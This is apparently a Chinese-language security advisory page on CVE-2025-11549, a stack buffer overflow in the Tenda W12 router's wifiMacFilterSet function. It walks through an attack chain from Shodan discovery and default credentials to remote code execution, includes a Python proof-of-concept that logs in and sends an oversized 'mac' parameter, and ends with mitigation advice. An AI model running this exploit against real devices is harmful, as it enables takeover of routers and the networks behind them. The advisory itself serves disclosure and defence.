IPBUF安全漏洞报告
English
CVE-2025-11549 CVSS 8.8 高危

CVE-2025-11549:Tenda W12路由器wifiMacFilterSet栈缓冲区溢出漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11549
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda W12

相关标签

缓冲区溢出栈溢出TendaW12路由器IoT远程代码执行HTTPCVE-2025-11549高危漏洞

漏洞概述

CVE-2025-11549是Tenda W12路由器固件版本3.0.0.6(3948)中存在的一个高危栈缓冲区溢出漏洞。该漏洞位于HTTP请求处理组件的/goform/modules路径下的wifiMacFilterSet函数中,攻击者可以通过远程方式向该函数传递特制的mac参数,触发栈缓冲区溢出,从而可能导致远程代码执行。CVSS 3.1评分为8.8分,属于高危级别,攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞的利用代码已公开披露,可能被攻击者利用。由于Tenda路由器广泛应用于家庭和小型办公网络环境中,该漏洞的潜在危害不容忽视。攻击者可以利用此漏洞完全控制受影响的路由器设备,进而对内网中的其他设备发起进一步攻击,窃取敏感数据或部署恶意软件。建议相关用户尽快关注厂商发布的补丁信息,并采取相应的防御措施。

技术细节

该漏洞的根因在于Tenda W12路由器固件中wifiMacFilterSet函数对用户输入的mac参数缺乏有效的边界检查。具体而言,当HTTP请求处理组件接收到针对/goform/modules路径下wifiMacFilterSet功能的请求时,会将请求中的mac参数传递给该函数进行处理。然而,该函数在将mac参数复制到栈缓冲区时,未对参数长度进行充分验证,攻击者可以构造超长mac参数值,使其超出栈缓冲区的大小限制,从而覆盖栈上的返回地址和其他关键数据。攻击者可以通过精心构造的payload,利用栈缓冲区溢出控制程序执行流,实现远程代码执行。由于该服务运行在网络可访问的HTTP接口上,攻击者无需物理接触设备即可发起攻击。攻击复杂度低,仅需要低权限认证(如默认或弱口令),无需用户交互即可完成利用。该漏洞的PoC已在GitHub等平台公开披露,攻击者可利用现成的利用代码快速实施攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或Shodan等工具发现暴露在公网的Tenda W12路由器设备,识别其固件版本是否为3.0.0.6(3948)。
STEP 2
步骤2:获取认证凭据
由于漏洞利用需要低权限认证(PR:L),攻击者通过暴力破解、使用默认凭据(如admin/admin)或社工方式获取路由器的管理权限。
STEP 3
步骤3:构造恶意请求
攻击者构造包含超长mac参数的HTTP POST请求,发送到/goform/modules路径下的wifiMacFilterSet功能,参数长度超出栈缓冲区大小。
STEP 4
步骤4:触发缓冲区溢出
wifiMacFilterSet函数在处理mac参数时,由于未进行边界检查,将超长数据复制到栈缓冲区,导致栈缓冲区溢出,覆盖返回地址。
STEP 5
步骤5:执行任意代码
攻击者通过精心构造的payload控制程序执行流,实现远程代码执行,获取路由器完全控制权限。
STEP 6
步骤6:后续渗透
攻击者控制路由器后,可窃取网络流量、修改DNS设置、部署后门,或以路由器为跳板对内网其他设备发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11549 - Tenda W12 wifiMacFilterSet Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow in wifiMacFilterSet function # Affected: Tenda W12 firmware 3.0.0.6(3948) # Endpoint: /goform/modules # Vulnerable parameter: mac import requests import sys TARGET_URL = "http://<target_ip>/goform/modules" # Adjust the payload size based on the buffer size of the target # Overflow the stack buffer via the 'mac' parameter in wifiMacFilterSet def exploit(target_ip, password=""): """ Exploit CVE-2025-11549 - Stack buffer overflow via mac parameter in the wifiMacFilterSet function of Tenda W12 router. """ base_url = f"http://{target_ip}" modules_url = f"{base_url}/goform/modules" # Authentication may be required (PR:L) # Login to obtain session cookie if needed login_url = f"{base_url}/login/Auth" session = requests.Session() login_data = { "username": "admin", "password": password # Default password often 'admin' or empty } session.post(login_url, data=login_data) # Construct the overflow payload # The 'mac' parameter is vulnerable to stack-based buffer overflow overflow_size = 512 # Adjust based on buffer size padding = "A" * overflow_size # Return address overwrite (example, adjust based on architecture) ret_address = b"\x41\x41\x41\x41" payload = padding.encode() + ret_address # Trigger the vulnerability via wifiMacFilterSet params = { "module": "wifiMacFilter", "action": "set", "mac": payload.decode('latin-1') } try: response = session.post(modules_url, data=params, timeout=10) print(f"[*] Exploit sent. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [password]") sys.exit(1) target = sys.argv[1] pwd = sys.argv[2] if len(sys.argv) > 2 else "" exploit(target, pwd)

影响范围

Tenda W12 3.0.0.6(3948)

防御指南

临时缓解措施
在官方补丁发布之前,建议用户立即采取以下临时缓解措施:1)修改路由器默认管理员密码为强密码,防止攻击者获取认证凭据;2)禁用路由器的远程管理(WAN口访问管理界面)功能,仅允许局域网内访问;3)通过网络防火墙或ACL规则限制对路由器管理端口(通常为80/443)的外部访问;4)监控路由器日志,关注异常的HTTP请求和未授权访问尝试;5)如非必要,考虑将Tenda W12路由器替换为已修复漏洞的其他型号设备;6)部署网络层防护措施,如入侵检测/防御系统(IDS/IPS),检测和阻断针对/goform/modules路径的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表